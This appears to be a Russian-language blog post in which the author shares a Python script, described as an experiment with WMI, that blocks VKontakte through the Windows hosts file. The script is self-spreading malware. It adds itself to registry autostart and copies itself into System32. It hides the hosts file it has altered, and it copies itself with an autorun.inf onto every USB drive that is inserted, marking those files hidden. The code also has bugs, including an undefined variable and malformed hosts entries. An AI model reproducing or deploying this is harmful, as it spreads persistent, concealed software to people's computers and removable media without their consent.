Python: Блокирование сайов с помощью hosts.

Posted by Reason89 | Posted in

   Узнал про модуль WMI для Python, решил не много поэкспериментировать. В голову особо ничего не пришло, потому решил банально поработать с файлом hosts, для блокирования сайтов(как пример ВК).
   Для работы с WMI необходимо сначала установить сам модуль, а затем pywin32, после чего необходима перезагрузка.
   С помощью WMI организованна способность к саморазмножению, немного сыровато, но все же она есть. При подключении любого флеш носителя, программа копирует себя на него.       Первоначально пытался организовать размножение другим способом, но сталкивался с тем, что программа приходила в негодность после того как в дисковод вставлялся любой диск, на которой она не могла записать файлы.
   В процессе написания столкнулся с несколькими подводными камнями, вроде того, что chmod в Windows не способен поставить на файл атрибуты скрытого системного файла, потому пришлось работать так скажем через cmd. И при работе с WMI, многие значения возвращаются в юникоде, потому пришлось их конвертировать.

# -*- coding: utf-8 -*-
import _winreg, shutil, time, glob, sys, os, wmi 

# Прописываем в автозагрузку
reg = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, _winreg.KEY_ALL_ACCESS)
_winreg.SetValueEx(reg, "host", 0, _winreg.REG_SZ, r"C:\WINDOWS\system32\host.py") 
shutil.copy(sys.argv[0], u"C:\WINDOWS\system32")

# Бесконечный цикл, с таймаутом в конце, чтобы не шибко грузить процессор
while 1:
   os.system("attrib -s -h C:\WINDOWS\system32\drivers\etc\hosts") # на всякий случай снимаем с него права
   hosts = open(r"C:\WINDOWS\system32\drivers\etc\hosts", "r")     # Открываем файл C:\WINDOWS\system32\drivers\etc\hosts
   w = hosts.read()                                                # Начинаем с ним работать как с текстом
   q = w.find("vk")                                                # Ищем строчку c vk
   if q == -1:                                                     # Если нет
      hosts.close()
      hosts = open(r"C:\WINDOWS\system32\drivers\etc\hosts", "a") # то открываем его для записи в конец файла и вносим свои изменения
      hosts.write("127.0.0.1 vkontakte.ru\n127.0.0.1 vk.com\n27.0.0.1 www.vk.com\n27.0.0.1 www.vkontakte.ru")
   hosts.close()
   os.system("attrib +h +s C:\WINDOWS\system32\drivers\etc\hosts") # Выставляем права скрытого системного файла
   c = wmi.WMI()                                                   # Начинаем работу с модулем WMI
   for disk in c.Win32_LogicalDisk(DriveType=2):                   # Для определения наличия съемных носителей  DriveType=2
      udisk = disk.Name
      disk = str(udisk)                                           # Модуль возвращает значению в юникоде, поэтому преобразовываем его
   puth = disk+r"\host.py"
   flash = glob.glob(puth)                                         # Проверяем наличие нашего файла на флешке
   lenf = len(flash)
   if lenf == 0:                                                   # Если его нет,
      os.system("attrib -s -h "+puth)
      os.system("attrib -s -h "+puta)
      shutil.copy(sys.argv[0], disk + "/")                        # То копируем его туда
      auto = open(disk+r"\autorun.inf", "w")                      # Создаем файл автозапуска
      auto.write("[autorun]\nopen=host.py")                       # Записываем туда все, что надо
      auto.close()
      os.system("attrib +s +h "+puth)                             # Прячем от лишних глаз
      os.system("attrib +s +h "+puta)
   time.sleep(180)                                                 # Таймаут 



Comments (0)

Отправить комментарий